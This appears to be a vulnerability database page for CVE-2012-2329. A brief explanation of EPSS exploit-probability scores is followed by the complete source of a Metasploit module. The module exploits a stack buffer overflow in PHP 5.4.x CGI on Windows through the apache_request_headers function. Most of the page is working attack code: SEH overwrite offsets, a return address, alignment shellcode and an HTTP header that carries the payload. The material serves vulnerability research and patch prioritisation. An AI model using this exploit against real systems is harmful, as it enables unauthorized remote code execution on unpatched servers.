CVE-2012-2329 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'PHP apache_request_headers Function Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow in the CGI version of PHP 5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the HTTP headers. This module has been tested against the thread safe version of PHP 5.4.2, from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com". }, 'Author' => [ 'Vincent Danen', # Vulnerability discovery 'juan vazquez', # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2012-2329'], [ 'OSVDB', '82215'], [ 'BID', '53455'], [ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ], [ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, 'Payload' => { 'Space' => 1321, 'DisableNops' => true, 'BadChars' => "\x00\x0d\x0a\x5f\x80\x8e\x9e\x9f" + (0x41..0x5a).to_a.pack("C*") + (0x82..0x8c).to_a.pack("C*") + (0x91..0x9c).to_a.pack("C*"), 'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe, 'EncoderOptions' => { 'BufferOffset' => 0x0 } }, 'Platform' => 'win', 'Targets' => [ ['Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe', { 'Ret' => 0x1002aa79, # ppr from php5ts.dll 'Offset' => 1332 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2012')) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']), ], self.class) end def exploit print_status("Trying target #{target.name}...") # Make ECX point to the start of the encoded payload align_ecx = "pop esi\n" # "\x5e" esi_alignment = target['Offset'] + # Space from the start of align_ecx to nseh handler 8 + # len(nseh + seh) 5 - # len(call back) 11 # len(align_ecx) align_ecx << "add esi, -#{esi_alignment}\n" # "\x81\xC6" + 4 bytes imm (ex: "\xCA\xFA\xFF\xFF") align_ecx << "sub ecx, ecx\n" # "\x29\xC9" align_ecx << "add ecx, esi" # "\x01\xf1" sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string # Encoded payload sploit << payload.encoded # Padding if needed sploit << rand_text(target['Offset']-sploit.length) # SEH handler overwrite sploit << generate_seh_record(target.ret) # Call back "\xE8" + 4 bytes imm (ex: "\xBF\xFA\xFF\xFF") sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['Offset']+8}").encode_string # Make it crash sploit << rand_text(4096 - sploit.length) print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ 'uri' => target_uri.to_s, 'method' => 'GET', 'headers' => { "HTTP_X_#{rand_text_alpha_lower(4)}" => sploit, } }) if res and res.code == 500 print_status "We got a 500 error code. Even without a session it could be an exploitation signal!" end handler end end